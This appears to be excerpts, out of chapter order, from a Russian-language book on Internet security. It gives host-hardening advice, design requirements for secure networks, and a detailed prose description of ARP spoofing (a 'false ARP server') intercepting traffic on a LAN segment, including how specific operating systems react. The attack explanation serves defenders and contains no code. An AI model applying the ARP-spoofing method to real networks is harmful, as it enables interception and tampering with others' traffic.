Как отмечалось ранее, единственным базовым протоколом семейства TCP/IP, в котором изначально предусмотрена функция обеспечения безопасности соединения и его абонентов, является протокол транспортного уровня - протокол TCP. Что касается базовых протоколов прикладного уровня: FTP, TELNET, r-служба, NFS, HTTP, DNS, SMTP, то ни один из них не предусматривает дополнительную защиту соединения на своем уровне и оставляет решение всех проблем по обеспечению безопасности соединения протоколу более низкого транспортного уровня - TCP. Однако, вспомнив о возможных атаках на TCP-соединение, рассмотренных в п. 4.5, где было отмечено, что при нахождении атакующего в одном сегменте с целью атаки защититься от подмены одного из абонентов TCP-соединения в принципе невозможно, а в случае нахождения в разных сегментах из-за возможности математического предсказания идентификатора TCP-соединения ISN также реальна подмена одного из абонентов, несложно сделать вывод, что при использовании базовых протоколов семейства TCP/IP обеспечить безопасность соединения практически невозможно! Это происходит из-за того, что, к сожалению, все базовые протоколы сети Internet с точки зрения обеспечения информационной безопасности невероятно устарели.
Единственно, что можно порекомендовать сетевым администраторам для защиты только от межсегментных атак на соединения - в качестве базового "защищенного" протокола использовать протокол TCP и сетевые ОС, в которых начальное значение идентификатора TCP-соединения действительно генерируется случайным образом (неплохой псевдослучайный алгоритм генерации используется в последних версиях ОС FreeBSD). (Подчеркнем, что здесь говорилось только о базовых протоколах семейства TCP/IP, а все защищенные протоколы типа SSL, S-HTTP, Kerberos и т. д. не являются базовыми - п. 7.2.2.1.)
Как защититься от удаленных атак в сети Internet?
- ...Скажите мне честно - есть ли хоть какой-то выход из этого кошмара?
- Выход всегда есть, - ответил Эркюль Пуаро.
А.Кристи. Подвиги Геркулеса.
Прежде чем говорить о различных аспектах обеспечения информационной безопасности в сети Internet, пользователь должен постараться найти ответ на вопрос: "А есть ли мне, что защищать?" . Вы скажете, странный вопрос. Ничуть! Особенность сети Internet на сегодняшний день состоит в том, что 99% процентов информационных ресурсов сети являются общедоступными. Удаленный доступ к этим ресурсам может осуществляться анонимно любым неавторизованным пользователем сети. Примером подобного неавторизованного доступа к общедоступным ресурсам является подключение к WWW- или FTP-серверам, в том случае, если подобный доступ разрешен. Теперь, даже если при помощи одной из описанных удаленных атак из предыдущей главы трафик пользователя будет, например, перехвачен и пройдет через сегмент сети атакующего, то последний не получит ничего, кроме и так общедоступной информации, а, следовательно, в подобной атаке для кракера нет абсолютно никакого смысла! Поэтому первый вопрос, на который должен ответить каждый пользователь, заключается в выборе вида удаленного доступа к ресурсам сети. Если пользователь планирует осуществлять в сети Internet только неавторизованный удаленный доступ к различным информационным ресурсам, то заботиться о безопасности соединения ему абсолютно не требуется! Если же все-таки планируется авторизованный доступ к удаленным ресурсам, то без обращения должного внимания на проблемы безопасности никак не обойтись.
Определившись, к каким ресурсам сети Internet пользователь намерен осуществлять доступ, необходимо ответить на следующий вопрос: а собирается ли пользователь разрешать удаленный доступ из сети к своим ресурсам? Если нет, то тогда имеет смысл использовать в качестве сетевой ОС "чисто клиентскую" ОС (например, Windows '95 или NT Workstation), которая не содержит программ-серверов, обеспечивающих удаленный доступ, а, следовательно, удаленный доступ к данной системе в принципе невозможен, так как он просто программно не предусмотрен (например, ОС Windows '95 или NT, правда с одним но: под данные системы действительно нет серверов FTP, TELNET, WWW и т. д., но нельзя забывать про встроенную в них возможность предоставления удаленного доступа к файловой системе, так называемое разделение (share) ресурсов. А вспомнив по меньшей мере странную позицию фирмы Microsoft по отношению к обеспечению безопасности своих систем, нужно серьезно подумать, прежде чем остановить выбор на продуктах данной фирмы. Последний пример: в Internet появилась программа, предоставляющая атакующему несанкционированный удаленный доступ к файловой системе ОС Windows NT 4.0!). Выбор клиентской операционной системы во многом решает проблемы безопасности для данного пользователя (нельзя получить доступ к ресурсу, которого просто нет!). Однако в этом случае ухудшается функциональность системы. Здесь своевременно сформулировать, на наш взгляд, основную аксиому безопасности:
Аксиома безопасности.
Принципы доступности, удобства, быстродействия и функциональности вычислительной системы антагонистичны принципам ее безопасности.
Данная аксиома, в принципе, очевидна: чем более доступна, удобна, быстра и многофункциональна ВС, тем она менее безопасна. Примеров можно привести массу. Например, служба DNS: удобно, но опасно (п. 4.3).
Вернемся к выбору пользователем клиентской сетевой ОС. Это, кстати, один из весьма здравых шагов, ведущих к сетевой политике изоляционизма. Данная сетевая политика безопасности заключается в осуществлении как можно более полной изоляции своей вычислительной системы от внешнего мира. Также одним из шагов к обеспечению данной политики является, например, использование систем Firewall, позволяющих создать выделенный защищенный сегмент (например, приватную сеть), отделенный от глобальной сети. Конечно, ничто не мешает довести эту политику сетевого изоляционизма до абсурда - просто выдернуть сетевой кабель (полная изоляция от внешнего мира!). Не забывайте, это тоже "решение" всех проблем с удаленными атаками и сетевой безопасностью (в связи c полным отсутствием оных).
Итак, пусть пользователь сети Internet решил использовать для доступа в сеть только клиентскую сетевую ОС и осуществлять с помощью нее только неавторизованный доступ. Проблемы с безопасностью решены? Ничуть! Все было бы хорошо, если бы ни было так плохо. Мы чуть не забыли про типовую удаленную атаку - "Отказ в обслуживании" (п. 3.2.4)! Для этой атаки абсолютно не имеет значения ни вид доступа, применяемый пользователем, ни тип сетевой ОС (хотя клиентская ОС с точки зрения защиты от атаки несколько предпочтительнее). Эта атака, используя фундаментальные пробелы в безопасности протоколов и инфраструктуры сети Internet, поражает сетевую ОС на хосте пользователя с одной единственной целью - нарушить его работоспособность (п. 4.4, 4.6). Напомним, что для атаки, связанной с навязыванием ложного маршрута при помощи протокола ICMP, целью которой является отказ в обслуживании, ОС Windows '95 или Windows NT - наиболее лакомая цель (можно поразить любой хост в сети Internet, на котором установлена данная ОС - п. 4.4). Бедному пользователю в таком случае остается надеяться на то, что его скромный хост не представляет никакого интереса для атакующего, который может нарушить его работоспособность разве что из желания просто напакостить.
В заключение хотелось бы заметить, что пользователь, который предпочел клиентскую операционную систему, решил осуществлять только неавторизованный доступ и смирился с удаленной атакой "Отказ в обслуживании" , смело может не читать следующие пункты. Ну, разве что из интереса.
Как же защитить свой хост
Впитав такой впечатляющий набор фактов об уязвимости вашей системы, вы, несомненно, задаете себе вопрос: как же обеспечить защиту в сети и, вообще, возможно ли это? Не будем дискутировать на философскую тему "почему абсолютная защита невозможна?"
В любом случае, сделать все, чтобы максимально ее улучшить - задача любого администратора безопасности. Надеемся также, что вы уже прочитали рассуждения в главе 7 по вопросу "А есть ли, что мне защищать?" .
Проанализировав причины, по которым происходят успешные нападения на хосты UNIX, нам будет легче сформулировать те принципы, на которых будет строиться защита. При этом будем придерживаться следующих концепций:
актуальность - защищаться надо от реальных атак, а не от фантастических или, наоборот, времен вируса Морриса;
разумность затрат - поскольку 100% защиты мы все равно не обеспечим, надо найти тот рубеж, за которым затраты на дальнейшее повышение безопасности оказываются выше стоимости той информации, которую может украсть кракер.
Итак, ниже приводится список очень простых правил и действий (некоторые идеи взяты из [25]), за которым следует процент отсеченных на этом этапе кракеров. Поставив перед собой цель защитить свой хост на N процентов, вы можете сами решить, на каком из них вам остановиться:
Прочитайте, наконец, руководство по администрированию вашей системы, и наверняка вы найдете там некоторые полезные советы, которые захотите применить.
Поставьте последние версии sendmail, ftpd и httpd. Этим вы сразу отсеете до 30% (самых невежественных или ленивых) кракеров.
Запустите программу автоматизированного контроля вашего хоста, типа SATAN или ISS. Почему типа? Дело в том, что на сегодняшний день эти программы явно устарели (см. п. 8.9), а новых мы пока не можем вам предложить. Из этого не следует, что, когда вы будете читать эти строки, таковых не появится. Вероятно, они сделают то же, что и предлагается ниже, только вам это будет стоить гораздо меньше.
Проверьте настройки вашего NFS-сервиса, а также содержимое файлов /etc/hosts.equiv и .rhosts (или подобных) для каждого пользователя. У NFS не должно быть экспорта любых каталогов для everyone, а необходимость включения каждого доверенного хоста должна быть еще раз проверена. Уже до 50% кракеров не смогут забраться к вам.
Сходите в CERT или CIAC (см. адреса в приложении) и внимательно прочитайте их бюллетени за последнее время. Установите все рекомендуемые патчи (patch). Этим вы отсеете еще 20% взломщиков, так что уже 70% вы сможете остановить.
Правильно настройте (или установите) ваш файрвол. Из этого не следует, что вы должны запретить все и всем, запретите лишь все неиспользуемые вами порты и протоколы. Поставьте сетевой монитор безопасности IP-Alert 1 (см. п. 7.2.2.2). Уже более 80% злоумышленников будет скрежетать зубами от злости.
Станьте на несколько часов хакером и напустите на файл /etc/passwd (или затененный (shadow) аналог / etc/ shadon) последний взломщик паролей. Здесь у вас большое преимущество перед хакерами - этот файл слишком просто получить, и грех не воспользоваться такой удачей. С теми пользователями, пароли которых были вскрыты автоматически, надо усилить разъяснительную работу. Не забудьте затенить ваш файл паролей. Еще 10% кракеров будет убито наповал, и вы победили уже 90% из них.
Проверьте настройки всех остальных служб, особенно использующих доверие (типа NIS или X-Window). Откажитесь от них по возможности - и празднуйте победу над около 95% взломщиков.
Сходите еще раз в CERT или CIAC и прочитайте ВСЕ их бюллетени. Установите все рекомендуемые ими и производителями вашего UNIX патчи. Да, это потребует много времени, но вы будете вознаграждены тем, что 97% кракеров для вас перестанут быть опасными.
Попросите разрешения у администраторов всех доверенных хостов, найденных вами на шаге 4, просканировать их хосты на предмет безопасности. Для этого можно воспользоваться тем же SATAN'ом, но вам нужно смотреть в первую очередь не на найденные им уязвимости (они вряд ли уже актуальны), а на список использованных сервисов и программ-демонов, их поддерживающих. Это можно сделать, вручную проанализировав файл с результатами работы SATAN. Если вы найдете уязвимую программу там, попросите соседнего администратора обновить ее. Если он не зря занимает свое место, то он с благодарностью это сделает. Итак, 99% кракеров никогда не попадут на ваш, уже почти полностью безопасный хост.
Остальные меры, направленные на отлов последнего процента самых достойных кракеров, являются превентивными в том смысле, что не направлены конкретно на ту или иную службу. Возможно, они будут сопряжены с более или менее значительной переделкой вашего хоста.
Придумайте какую-нибудь собственную изюминку, очень простую, но которая сможет привести слишком умных кракеров в тупик, типа переименования какой-нибудь важной команды или сообщения на входе "FSB host. Vvedite vashe imya i zvanie:" .
Поставьте монитор всех входящих соединений (типа tcp_wrapper). Этим вы сможете если не остановить, то хоть увидеть следы кракера и понять его логику для дальнейшего закрытия этой лазейки.
Избавьтесь от sendmail, поставьте другой SMTP-демон.
Выкиньте некоторые малоиспользуемые службы (типа finger, talk, rpc) и ужесточите настройки вашего файрвола.
Поставьте proxy-сервер для дополнительной аутентификации извне, а также для скрытия адресов и топологии внутренней подсети.
Перенесите весь сервис, требующий входящих соединений (http, SMTP), на отдельную машину и оставьте ее в открытой сети. Удалите с этой машины все программы и информацию, не относящуюся к ее назначению. Все остальные машины спрячьте за файрволом с полным отключением входящего трафика.
Поставьте защищенную версию UNIX или другой операционной системы.
Какие вопросы остались за пределами данной книги?
Сразу оговоримся, что осветить всю проблему безопасности сети Internet в целом не входило в наши планы. Полностью за кадром осталась такая модная нынче тема, как безопасность WWW, включая безопасность Java и, особенно ActiveX (фирма Microsoft не дремлет!). Далее, мы не рассматривали безопасность электронной почты (программу PGP и т.п.) и мифы о вирусах, якобы могущих попасть к вам всего лишь путем чтения электронного письма; проблемы с безопасностью, возникающие при переходе на новый стандарт IPv6; почти не затронуты средства криптографической защиты (типа Kerberos). Кроме того, мы не стремились подробно описывать такие всем хорошо известные и, видимо, порядком уже поднадоевшие читателям методы и средства защиты в сети Internet, как Firewall, SSL, SKIP, S-HTTP.
Авторы хотели бы поблагодарить сотрудников СЦЗИ, оказавших помощь при написании данной книги, а также вынести особую благодарность Александру Монину за оформление всех графических материалов книги.
В завершение мы желаем всем нашим читателям обращать должное внимание на проблемы информационной безопасности и надеемся им помочь как этой книгой, так и, возможно, лично в качестве независимых экспертов.
Специалистам понятна сложность в изложении столь деликатных вопросов, как безопасность сети, поэтому авторы будут благодарны читателям за отзывы, отправленные в адрес Центра Защиты Информации СПбГТУ:
e-mail:
WWW:
Авторский коллектив
|
Классификация удаленных атак на распределенные вычислительные системы
Основная цель любой классификации состоит в том, чтобы предложить такие классификационные признаки, используя которые можно наиболее точно описать классифицируемые явления или объекты. В связи с тем, что ни в одном из известных авторам научном исследовании не проводилось различия между локальными и удаленными информационными воздействиями на ВС, то применение уже известных обобщенных классификаций для описания удаленных воздействий не позволяет наиболее точно раскрыть их сущность и описать механизмы и условия их осуществления. Это связано с тем, что данный класс воздействий характеризуется сугубо специфичными признаками для распределенных вычислительных систем. Поэтому для более точного описания удаленных атак и предлагается следующая классификация.
Итак, удаленные атаки можно классифицировать по следующим признакам:
Контроль за маршрутом сообщения в распределенной ВС
Как известно, каждый объект распределенной ВС должен обладать адресом, уникально его идентифицирующим. Для того, чтобы сообщение от одного объекта было передано на другой объект системы, оно должно пройти через цепь маршрутизаторов, задача которых- проанализировав адрес назначения, указанный в сообщении, выбрать оптимальный маршрут и, исходя из него, переправить пакет или на следующий маршрутизатор или непосредственно абоненту, если он напрямую подключен к данному узлу. Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как было показано в п. 5.1.4, маршрут сообщения может являться информацией, аутентифицирующей с точностью до подсети подлинность адреса субъекта, отославшего сообщение. Очевидно, что перед любой системой связи объектов в РВС встает стандартная проблема проверки подлинности адреса сообщения, пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя дополнительную идентификацию сообщений на другом, более высоком уровне OSI. Так, адресация осуществляется на сетевом уровне, а дополнительная идентификация, например, на транспортном. Однако подобное решение не позволит избежать проблемы контроля за созданием соединений (п. 5.1.3), так как дополнительная идентификация абонентов будет возможна только после создания соединения. Поэтому разработчикам распределенной ВС можно предложить следующие пути решения проблемы.
В первом случае функцию проверки подлинности адреса отправителя можно возложить на маршрутизатор. Это несложно сделать, так как маршрутизатор может отследить, откуда к нему пришел пакет (от другого маршрутизатора или от подключенного к нему хоста из подсетей, напрямую подключенных к данному маршрутизатору). Маршрутизатор может проверять соответствие адреса отправителя с адресом соответствующей подсети, откуда пришло сообщение. В случае совпадения сообщение пересылается далее, а в противном случае - отфильтровывается. Этот способ позволит на начальной стадии отбросить пакеты с неверными адресами отправителя.
Другой вариант решения может состоять в создании в заголовке пакета специальных полей, куда каждый маршрутизатор, через который проходит пакет, заносит маршрутную информацию (часть своего адреса, например). При этом первый маршрутизатор, на который поступил пакет, заносит также информацию о классе сети (A, B, C), откуда пришел пакет. Тем не менее, внесение в пакет адресов всех пройденных по пути маршрутизаторов будет неоптимальным решением, так как в этом случае сложно заранее определить максимальный размер заголовка пакета.
Когда сообщение дойдет до конечного адресата, в его заголовке будет полностью отмечен пройденный маршрут. По этому маршруту, вне зависимости от указанного в пакете сетевого адреса отправителя, можно, во-первых, с точностью до подсети идентифицировать подлинность адреса и, во-вторых, определить с точностью до подсети истинный адрес отправителя. Итак, получив подобное сообщение с указанным маршрутом, сетевая операционная система анализирует маршрут и проверяет подлинность адреса отправителя. В случае его недостоверности пакет отбрасывается.
Из всего вышесказанного следует следующее требование к созданию защищенных систем связи в распределенных ВС:
Утверждение 5.
В распределенной ВС необходимо обеспечить на сетевом уровне контроль за маршрутом сообщений для аутентификации адреса отправителя.
Контроль за виртуальными соединениями в распределенной ВС
В предыдущей главе было показано, что взаимодействие объектов РВС по виртуальному каналу позволяет надежно защитить соединение от возможных информационно-разрушающих воздействий по каналам связи. Однако, как это отмечалось в п. 5.1.3, взаимодействие по ВК имеет свои минусы. К минусам относится необходимость контроля за соединением. Если в системе связи удаленных объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то, избавившись от одного типа удаленных атак на соединение ("Подмена доверенного объекта" - см. п. 3.2.2), можно подставить систему под другую типовую УА - "Отказ в обслуживании" (п. 3.2.4). Поэтому для обеспечения надежного функционирования и работоспособности (доступности) каждого объекта распределенной ВС необходимо прежде всего контролировать процесс создания соединения. Как уже говорилось в п. 5.1.3, задача контроля за ВК распадается на две подзадачи:
контроль за созданием соединения;
контроль за использованием соединения.
Решение второй задачи лежит на поверхности: так как сетевая операционная система не может одновременно иметь бесконечное число открытых ВК, то в том случае, если ВК простаивает в течение определенного системой тайм-аута, происходит его закрытие.
Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за созданием соединения в РВС.
Основная задача, которую необходимо решить в данном случае, состоит в том, чтобы не позволить одному субъекту взаимодействия занять все виртуальные каналы системы. Процесс создания ВК был рассмотрен в п. 3.2.4. Напомним, что при создании ВК полученный системой запрос на создание соединения ставится в очередь запросов, и, когда до него дойдет время, система выработает ответ на запрос и отошлет его обратно отправителю запроса. Задача контроля за созданием соединения заключается как раз в том, чтобы определить те правила, исходя из которых система могла бы либо поставить запрос в очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь (так построены все сетевые ОС, поддерживающие протокол TCP/IP), то это в случае атаки ведет к переполнению очереди и к отказу в обслуживании всех остальных легальных запросов. Такое происходит из-за того, что атакующий посылает в секунду столько запросов, сколько позволит трафик (тысячи запросов в секунду), а обычный пользователь с легальным запросом на подключение может послать лишь несколько запросов в минуту! Следовательно, вероятность подключения втакой ситуации, при условии переполнения очереди, один к миллиону в лучшем случае. Поэтому необходимо ввести ограничения на постановку в очередь запросов от одного объекта. Однако, если в РВС любой объект системы может послать запрос от имени (с адреса) любого другого объекта системы, то, как отмечалось ранее, решить задачу контроля не представляется возможным. Поэтому для обеспечения этой возможности было введено Утверждение 5, исходя из которого в каждом пришедшем на объект пакете должен быть указан пройденный им маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя. Учитывая данный факт, позволяющий отсеять все пакеты с неверным адресом отправителя, можно предложить следующее условие постановки запроса в очередь: в системе вводится ограничение на число обрабатываемых в секунду запросов из одной подсети.
Это максимальное число ставящихся в очередь запросов в секунду определяется непосредственно операционной системой и зависит от следующих параметров сетевой ОС: быстродействия, объема виртуальной памяти, числа одновременно обслуживаемых виртуальных каналов, длины очереди и т.д. Вводимое ограничение не позволит атакующему переполнить очередь, так как только первые несколько его запросов будут поставлены в очередь на обслуживание, а остальные будут игнорироваться. Первый же запрос легального пользователя из другой подсети будет также сразу поставлен в очередь.
К минусам этого способа решения проблемы контроля за созданием соединения можно отнести тот факт, что, так как адрес отправителя можно аутентифицировать с точностью только до подсети, то атакующий может посылать запросы от имени любого объекта данной подсети. Следовательно, в случае атаки все остальные объекты из подсети атакующего будут лишены возможности подключения к атакуемому объекту. Однако, так как, во-первых, атакующего по указанному в пакете маршруту можно будет вычислить с точностью до его подсети и, во-вторых, не произойдет нарушения работоспособности цели атаки, то такая атака вряд ли будет иметь смысл.
Итак, в завершение очередное требование к защищенным системам связи в распределенных ВС.
Утверждение 6.
Для обеспечения доступности ресурсов распределенной ВС необходим контроль за виртуальными соединениями между ее объектами.
Следствие 6.1.
Необходимо обеспечить контроль за созданием соединения, введя ограничение на число обрабатываемых в секунду запросов из одной подсети.
Следствие 6.2.
Необходимо обеспечить контроль за использованием соединения, разрывая его по тайм-ауту в случае отсутствия сообщений.
Ложный ARP-сервер в сети Internet
Как уже неоднократно подчеркивалось, в вычислительных сетях связь между двумя удаленными хостами осуществляется путем передачи по сети сообщений, которые заключены в пакеты обмена. В общем случае передаваемый по сети пакет независимо от используемого протокола и типа сети (Token Ring, Ethernet, X.25 и др.) состоит из заголовка пакета и поля данных. В заголовок пакета обычно заносится служебная информация, определяемая используемым протоколом обмена и необходимая для адресации пакета, его идентификации, преобразования и т. д. В поле данных помещаются либо непосредственно данные, либо другой пакет более высокого уровня OSI. Так, например, пакет транспортного уровня может быть вложен в пакет сетевого уровня, который, в свою очередь, вложен в пакет канального уровня. Спрое-цировав это утверждение на сетевую ОС, использующую протоколы TCP/IP, можно утверждать, что пакет TCP (транспортный уровень) вложен в пакет IP (сетевой уровень), который, в свою очередь, вложен в пакет Ethernet (канальный уровень). Следующая схема наглядно иллюстрирует как выглядит, например, TCP-пакет в сети Internet:
| Ethernet-заголовок |
| IP-заголовок |
| TCP-заголовок |
| Данные |
Рис.4.2. Структура TCP-пакета
Рассмотрим схему адресации пакетов в сети Internet и возникающие при этом проблемы безопасности. Как известно, базовым сетевым протоколом обмена в сети Internet является протокол IP (Internet Protocol). Протокол IP - это межсетевой протокол, позволяющий передавать IP-пакеты в любую точку глобальной сети. Для адресации на сетевом уровне (IP-уровне) в сети Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для передачи IP-пакета на хост необходимо указать в IP-заголовке пакета в поле Destination Address IP-адрес данного хоста. Однако, как видно из рис. 4.2, IP-пакет находится внутри аппаратного пакета (в случае среды передачи Ethernet IP пакет находится внутри Ethernet-пакета), поэтому каждый пакет в сетях любого типа и с любыми протоколами обмена в конечном счете адресуется на аппаратный адрес сетевого адаптера, непосредственно осуществляющего прием и передачу пакетов в сеть (в дальнейшем мы будем рассматривать только Ethernet-сети).
Из всего вышесказанного видно, что для адресации IP-пакетов в сети Internet кроме IP-адреса хоста необходим еще либо Ethernet-адрес его сетевого адаптера (в случае адресации внутри одной подсети), либо Ethernet-адрес маршрутизатора (в случае межсетевой адресации). Первоначально хост может не иметь информации о Ethernet-адресах других хостов, находящихся с ним в одном сегменте, в том числе и о Ethernet-адресе маршрутизатора. Следовательно, перед хостом встает стандартная проблема, решаемая с помощью алгоритма удаленного поиска. В сети Internet для решения этой проблемы используется протокол ARP (Address Resolution Protocol). Протокол ARP позволяет получить взаимно однозначное соответствие IP- и Ethernet-адресов для хостов, находящихся внутри одного сегмента. Это достигается следующим образом: при первом обращении к сетевым ресурсам хост отправляет широковещательный ARP-запрос на Ethernet-адрес FFFFFFFFFFFFh, в котором указывает IP-адрес маршрутизатора и просит сообщить его Ethernet-адрес (IP-адрес маршрутизатора является обязательным параметром, который всегда устанавливается вручную при настройке любой сетевой ОС в сети Internet). Этот широковещательный запрос получат все станции в данном сегменте сети, в том числе и маршрутизатор. Получив данный запрос, маршрутизатор внесет запись о запросившем хосте в свою ARP-таблицу, а затем отправит на запросивший хост ARP-ответ, в котором сообщит свой Ethernet-адрес. Полученный в ARP-ответе Ethernet-адрес будет занесен в ARP-таблицу, находящуюся в памяти операционной системы на запросившем хосте и содержащую записи соответствия IP- и Ethernet-адресов для хостов внутри одного сегмента. Отметим, что в случае адресации к хосту, расположенному в той же подсети, также используется ARP-протокол и рассмотренная выше схема полностью повторяется.
Из п. 3.2.3.2 следует, что в случае использования в распределенной ВС алгоритмов удаленного поиска существует возможность осуществления в такой сети типовой удаленной атаки "Ложный объект РВС" . Из анализа безопасности протокола ARP становится ясно, что, перехватив на атакующем хосте внутри данного сегмента сети широковещательный ARP-запрос, можно послать ложный ARP-ответ, в котором объявить себя искомым хостом (например, маршрутизатором), и в дальнейшем активно контролировать и воздействовать на сетевой трафик "обманутого" хоста по схеме "Ложный объект РВС" (п. 3.2.3.3).
Рассмотрим обобщенную функциональную схему ложного ARP-сервера (рис. 4.3):
ожидание ARP-запроса;
при получении ARP- запроса передача по сети на запросивший хост ложного ARP-ответа, в котором указывается адрес сетевого адаптера атакующей станции (ложного ARP-сервера) или тот Ethernet-адрес, на котором будет принимать пакеты ложный ARP-сервер (совершенно необязательно указывать в ложном ARP-ответе свой настоящий Ethernet-адрес, так как при работе непосредственно с сетевым адаптером его можно запрограммировать на прием пакетов на любой Ethernet-адрес);
прием, анализ, воздействие и передача пакетов обмена между взаимодействующими хостами (воздействие на перехваченную информацию см. п. 3.2.2.3).
Рис. 4.3. Ложный ARP-сервер.
Рис. 4.3.1. Фаза ожидания ARP-запроса.
Рис. 4.3.2. Фаза атаки.
Рис. 4.3.3. Фаза приема, анализа, воздействия и передачи перехваченной информации на ложном ARP-сервере.
Данная схема атаки требует некоторого уточнения. На практике авторы столкнулись с тем, что зачастую даже очень квалифицированные сетевые администраторы и программисты не знают либо не понимают тонкостей работы протокола ARP. Это, наверное, связано с тем, что при обычной настройке сетевой ОС, поддерживающей протоколы TCP/IP, не требуется настройка модуля ARP (нам не встречалось ни одной сетевой ОС, где обязательно требовалось бы создание "вручную" ARP-таблицы). Поэтому протокол ARP остается как бы "прозрачным" для администраторов. Далее, необходимо обратить внимание на тот факт, что у маршрутизатора тоже имеется ARP-таблица, в которой содержится информация об IP- и соответствующих им Ethernet-адресах всех хостов из сегмента сети, подключенного к маршрутизатору. Информация в эту ARP-таблицу на маршрутизаторе также обычно заносится не вручную, а при помощи протокола ARP. Именно поэтому так легко в одном сегменте IP-сети присвоить чужой IP-адрес: выдать команду сетевой ОС на установку нового IP-адреса, потом обратиться в сеть - сразу же будет послан широковещательный ARP-запрос, и маршрутизатор, получив этот запрос, автоматически обновит запись в своей ARP-таблице (поставит в соответствии с чужим IP-адресом Ehternet-адрес вашей сетевой карты), в результате чего обладатель данного IP-адреса потеряет связь с внешним миром (все пакеты, адресуемые на его бывший IP-адрес и приходящие на маршрутизатор, будут направляться маршрутизатором на Ethernet-адрес атакующего). Правда, некоторые ОС анализируют все передаваемые по сети широковещательные ARP-запросы. Например, ОС Windows '95 или SunOS 5.3 при получении ARP-запроса с указанным в нем IP-адресом, совпадающим с IP-адресом данной системы, выдают предупреждающее сообщение о том, что хост с таким-то Ethernet-адресом пытается присвоить себе (естественно, успешно) данный IP-адрес.
Теперь вернемся непосредственно к описанной ранее схеме атаки "ложный ARP-сервер" . Из анализа механизмов адресации, описанных выше, становится ясно, что, так как поисковый ARP-запрос кроме атакующего получит и маршрутизатор, то в его таблице окажется соответствующая запись об IP- и Ethernet-адресе атакуемого хоста. Следовательно, когда на маршрутизатор придет пакет, направленный на IP-адрес атакуемого хоста, то он будет передан не на ложный ARP-сервер, а непосредственно на хост. При этом схема передачи пакетов в этом случае будет следующая:
атакованный хост передает пакеты на ложный ARP-сервер;
ложный ARP-сервер передает принятый от атакованного хоста пакет на маршрутизатор;
маршрутизатор, в случае получения ответа на переданный запрос, передает его непосредственно на атакованный хост, минуя ложный ARP-сервер.
Рис. 4.3.4. Петлевая схема перехвата информации ложным АRP-сервером.
В этом случае последняя фаза, связанная с "приемом, анализом, воздействием и передачей пакетов обмена" между атакованным хостом и, например, маршрутизатором (или любым другим хостом в том же сегменте) будет проходить уже не в режиме полного перехвата пакетов ложным сервером (мостовая схема), а режиме "полупере-хвата" (петлевая схема). Действительно, в режиме полного перехвата маршрут всех пакетов, отправляемых как в одну, так и в другую стороны, обязательно проходит через ложный сервер-мост; а в режиме "полуперехвата" маршрут пакетов образует петлю, которую можно видеть на рисунке 4.3.4. Необходимо обратить внимание на эту петлевую схему перехвата информации ложным сервером, так как в дальнейшем будут рассмотрены еще два варианта атаки на базе протоколов DNS и ICMP, результат которых - перехват информации по схеме "Ложный объект РВС" , и там также может возникнуть петлевой маршрут.
Тем не менее довольно несложно придумать несколько способов, позволяющих функционировать ложному ARP-серверу по мостовой схеме перехвата (полный перехват). Например, можно, получив ARP-запрос, самому послать такой же запрос и присвоить себе данный IP-адрес (правда, в этом случае ложному ARP-серверу не удастся остаться незамеченным, так некоторые сетевые ОС (например Windows '95 и SunOS 5.3), как отмечалось ранее, перехватив этот запрос, выдадут предупреждение об использовании их IP-адреса). Другой, значительно более предпочтительный способ: послать ARP-запрос, указав в качестве своего IP-адреса любой свободный в данном сегменте IP-адрес, и в дальнейшем вести работу с данного IP-адреса как с маршрутизатором, так и с "обманутыми" хостами (кстати, это типичная proxy-схема).
В заключении рассказа об уязвимостях протокола ARP необходимо показать, как различные сетевые ОС используют этот протокол для изменения информации в своих ARP-таблицах. При исследовании различных сетевых ОС выяснилось, что в ОС Linux 1.2.8 при адресации к хосту, находящемуся в одной подсети с данным хостом, при отсутствии в ARP-таблице соответствующей записи о Ethernet-адресе передается ARP-запрос и при последующих обращениях к данному хосту посылки ARP-запроса не происходит. В SunOS 5.3, при каждом новом обращении к хосту происходит передача ARP-запроса, и, следовательно, ARP-таблица динамически обновляется. ОС Windows '95 при обращении к хостам, с точки зрения использования протокола ARP, ведет себя так же, как и ОС Linux, за исключением того, что эта операционная система периодически (каждую минуту) посылает ARP-запрос о Ethernet-адресе маршрутизатора (видимо, программисты фирмы Microsoft считали, что маршрутизатор может постоянно менять свой Ethernet-адрес?!), и в результате в течение нескольких минут вся локальная сеть с Windows '95 с легкостью поражается с помощью ложного ARP-сервера. Что касается Windows NT 4.0, то эксперименты показали, что там также используется динамически изменяемая ARP-таблица и ARP-запросы о Ethernet-адресе маршрутизатора передаются с периодичностью около 10 минут.
Особый интерес вызвал следующий вопрос: а удастся ли осуществить данную удаленную атаку на UNIX-совместимую ОС, защищенную по классу B1 (мандатная и дискретная сетевая политики разграничения доступа плюс специальная схема функционирования SUID/SGID процессов), установленную на двухпроцессорной миниЭВМ. Эта система является одним из лучших в мире полнофункциональных файрволов. Так вот, в процессе анализа защищенности этого файрвола относительно удаленных воздействий, осуществляемых по каналам связи, при его тестировании выяснилось, что в случае базовой (после всех стандартных настроек) конфигурации ОС эта защищенная UNIX-система также поражается ложным ARP-сервером.
В заключение отметим, что, во-первых, причина успеха данной удаленной атаки кроется, не столько в Internet, сколько в широковещательной среде Ethernet и, во-вторых, очевидно, что эта удаленная атака является внутрисегментной и поэтому представляет для вас угрозу только в случае нахождения атакующего внутри вашего сегмента сети. Однако, как известно из статистики нарушений информационной безопасности вычислительных сетей, большинство состоявшихся взломов сетей производилось изнутри собственными сотрудникам. Причины этого понятны. Как подчеркивалось ранее, осуществить внутрисегментную удаленную атаку значительно легче, чем межсегментную. Кроме того, практически все организации имеют локальные сети (в том числе и IP-сети), хотя далеко не у всех локальные сети подключены к глобальной сети Internet. Это объясняется как соображениями безопасности, так и необходимости такого подключения для организации. И, наконец, сотрудникам самой организации, знающим тонкости своей внутренней вычислительной сети, гораздо легче осуществить взлом, чем кому бы то ни было. Поэтому администраторам безопасности нельзя недооценивать данную удаленную атаку, даже если ее источник находится внутри их локальной IP-сети.
Ложный DNS-сервер в сети Internet
Как известно, для обращения к хостам в сети Internet используются 32-разрядные IP-адреса, уникально идентифицирующие каждый сетевой компьютер в этой глобальной сети. Однако, для пользователей применение IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным.
